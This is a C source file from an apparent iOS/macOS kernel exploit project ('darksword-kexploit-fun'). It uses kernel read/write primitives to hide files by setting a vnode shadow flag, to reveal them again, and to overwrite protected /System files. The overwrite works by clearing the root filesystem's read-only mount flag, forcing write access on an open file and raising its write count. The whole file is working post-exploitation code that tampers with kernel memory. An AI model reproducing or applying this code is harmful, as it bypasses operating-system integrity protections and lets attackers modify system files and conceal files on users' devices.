152 lines
4.9 KiB
C
152 lines
4.9 KiB
C
//
|
|
// file.c
|
|
// darksword-kexploit-fun
|
|
//
|
|
// Created by seo on 3/29/26.
|
|
//
|
|
|
|
#include "file.h"
|
|
#include "../kexploit/krw.h"
|
|
#include "../kexploit/offsets.h"
|
|
#include "../kexploit/vnode.h"
|
|
#include "../kexploit/kutils.h"
|
|
#include "../kexploit/xpaci.h"
|
|
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#include <fcntl.h>
|
|
#include <sys/mman.h>
|
|
|
|
|
|
uint64_t hide_path(const char* path) {
|
|
uint64_t vnode = get_vnode_for_path_by_open(path);
|
|
if(vnode == -1) {
|
|
printf("[%s:%d] Unable to get vnode, path: %s", __FUNCTION__, __LINE__, path);
|
|
return -1;
|
|
}
|
|
|
|
//vnode_ref, vnode_get
|
|
uint32_t usecount = kread32(vnode + off_vnode_v_usecount);
|
|
uint32_t iocount = kread32(vnode + off_vnode_v_iocount);
|
|
kwrite32(vnode + off_vnode_v_usecount, usecount + 1);
|
|
kwrite32(vnode + off_vnode_v_iocount, iocount + 1);
|
|
|
|
//hide file
|
|
uint32_t v_flags = kread32(vnode + off_vnode_v_flag);
|
|
kwrite32(vnode + off_vnode_v_flag, (v_flags | VISSHADOW));
|
|
|
|
//restore vnode iocount, usecount
|
|
usecount = kread32(vnode + off_vnode_v_usecount);
|
|
iocount = kread32(vnode + off_vnode_v_iocount);
|
|
if(usecount > 0)
|
|
kwrite32(vnode + off_vnode_v_usecount, usecount - 1);
|
|
if(iocount > 0)
|
|
kwrite32(vnode + off_vnode_v_iocount, iocount - 1);
|
|
|
|
return vnode;
|
|
}
|
|
|
|
uint64_t reveal_path_by_vnode(uint64_t vnode) {
|
|
//vnode_ref, vnode_get
|
|
uint32_t usecount = kread32(vnode + off_vnode_v_usecount);
|
|
uint32_t iocount = kread32(vnode + off_vnode_v_iocount);
|
|
kwrite32(vnode + off_vnode_v_usecount, usecount + 1);
|
|
kwrite32(vnode + off_vnode_v_iocount, iocount + 1);
|
|
|
|
//show file
|
|
uint32_t v_flags = kread32(vnode + off_vnode_v_flag);
|
|
kwrite32(vnode + off_vnode_v_flag, (v_flags &= ~VISSHADOW));
|
|
|
|
//restore vnode iocount, usecount
|
|
usecount = kread32(vnode + off_vnode_v_usecount);
|
|
iocount = kread32(vnode + off_vnode_v_iocount);
|
|
if(usecount > 0)
|
|
kwrite32(vnode + off_vnode_v_usecount, usecount - 1);
|
|
if(iocount > 0)
|
|
kwrite32(vnode + off_vnode_v_iocount, iocount - 1);
|
|
|
|
return 0;
|
|
}
|
|
|
|
// Overwrite /System/... file data
|
|
uint64_t overwrite_system_file(char* to, char* from) {
|
|
|
|
int to_fd = open(to, O_RDONLY);
|
|
if (to_fd == -1) return -1;
|
|
off_t to_file_sz = lseek(to_fd, 0, SEEK_END);
|
|
|
|
int from_fd = open(from, O_RDONLY);
|
|
if (from_fd == -1) return -1;
|
|
off_t from_file_sz = lseek(from_fd, 0, SEEK_END);
|
|
|
|
if(to_file_sz < from_file_sz) {
|
|
close(from_fd);
|
|
close(to_fd);
|
|
printf("[%s:%d] File size is too big to overwrite!", __FUNCTION__, __LINE__);
|
|
return -1;
|
|
}
|
|
|
|
uint64_t proc = proc_self();
|
|
|
|
// get vnode
|
|
uint64_t fileprocPtrArr = kread64(proc + off_proc_p_fd + off_filedesc_fd_ofiles);
|
|
fileprocPtrArr = xpaci(fileprocPtrArr);
|
|
uint64_t to_fileproc = kread64(fileprocPtrArr + (8 * to_fd));
|
|
uint64_t to_fp_glob = kread64(to_fileproc + off_fileproc_fp_glob);
|
|
to_fp_glob = xpaci(to_fp_glob);
|
|
uint64_t to_vnode = kread64(to_fp_glob + off_fileglob_fg_data);
|
|
to_vnode = xpaci(to_vnode);
|
|
|
|
// unset read-only flag on rootfs
|
|
uint64_t rootvnode_mount = kread64(get_rootvnode() + off_vnode_v_mount);
|
|
rootvnode_mount = xpaci(rootvnode_mount);
|
|
uint32_t rootvnode_mnt_flag = kread32(rootvnode_mount + off_mount_mnt_flag);
|
|
kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag & ~MNT_RDONLY);
|
|
|
|
// modify open flags to make writable
|
|
uint32_t to_fg_flag = kread32(to_fp_glob + off_fileglob_fg_flag);
|
|
kwrite32(to_fp_glob + off_fileglob_fg_flag, to_fg_flag | FWRITE);
|
|
|
|
// to modify, increasing writecount needed
|
|
uint32_t to_vnode_v_writecount = kread32(to_vnode + off_vnode_v_writecount);
|
|
if(to_vnode_v_writecount <= 0) {
|
|
kwrite32(to_vnode + off_vnode_v_writecount, to_vnode_v_writecount + 1);
|
|
}
|
|
|
|
// modify file data
|
|
void* from_mapped = mmap(NULL, from_file_sz, PROT_READ, MAP_PRIVATE, from_fd, 0);
|
|
if (from_mapped == MAP_FAILED) {
|
|
perror("[-] Failed mmap (from_mapped)");
|
|
kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag);
|
|
close(from_fd);
|
|
close(to_fd);
|
|
return -1;
|
|
}
|
|
|
|
void* to_mapped = mmap(NULL, to_file_sz, PROT_READ | PROT_WRITE, MAP_SHARED, to_fd, 0);
|
|
if (to_mapped == MAP_FAILED) {
|
|
perror("[-] Failed mmap (to_mapped)");
|
|
kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag);
|
|
close(from_fd);
|
|
close(to_fd);
|
|
return -1;
|
|
}
|
|
|
|
memcpy(to_mapped, from_mapped, from_file_sz);
|
|
msync(to_mapped, to_file_sz, MS_SYNC);
|
|
|
|
munmap(from_mapped, from_file_sz);
|
|
munmap(to_mapped, to_file_sz);
|
|
|
|
// restore open flags
|
|
kwrite32(to_fp_glob + off_fileglob_fg_flag, to_fg_flag);
|
|
// restore rootfs mount flag
|
|
kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag);
|
|
|
|
close(from_fd);
|
|
close(to_fd);
|
|
|
|
return 0;
|
|
}
|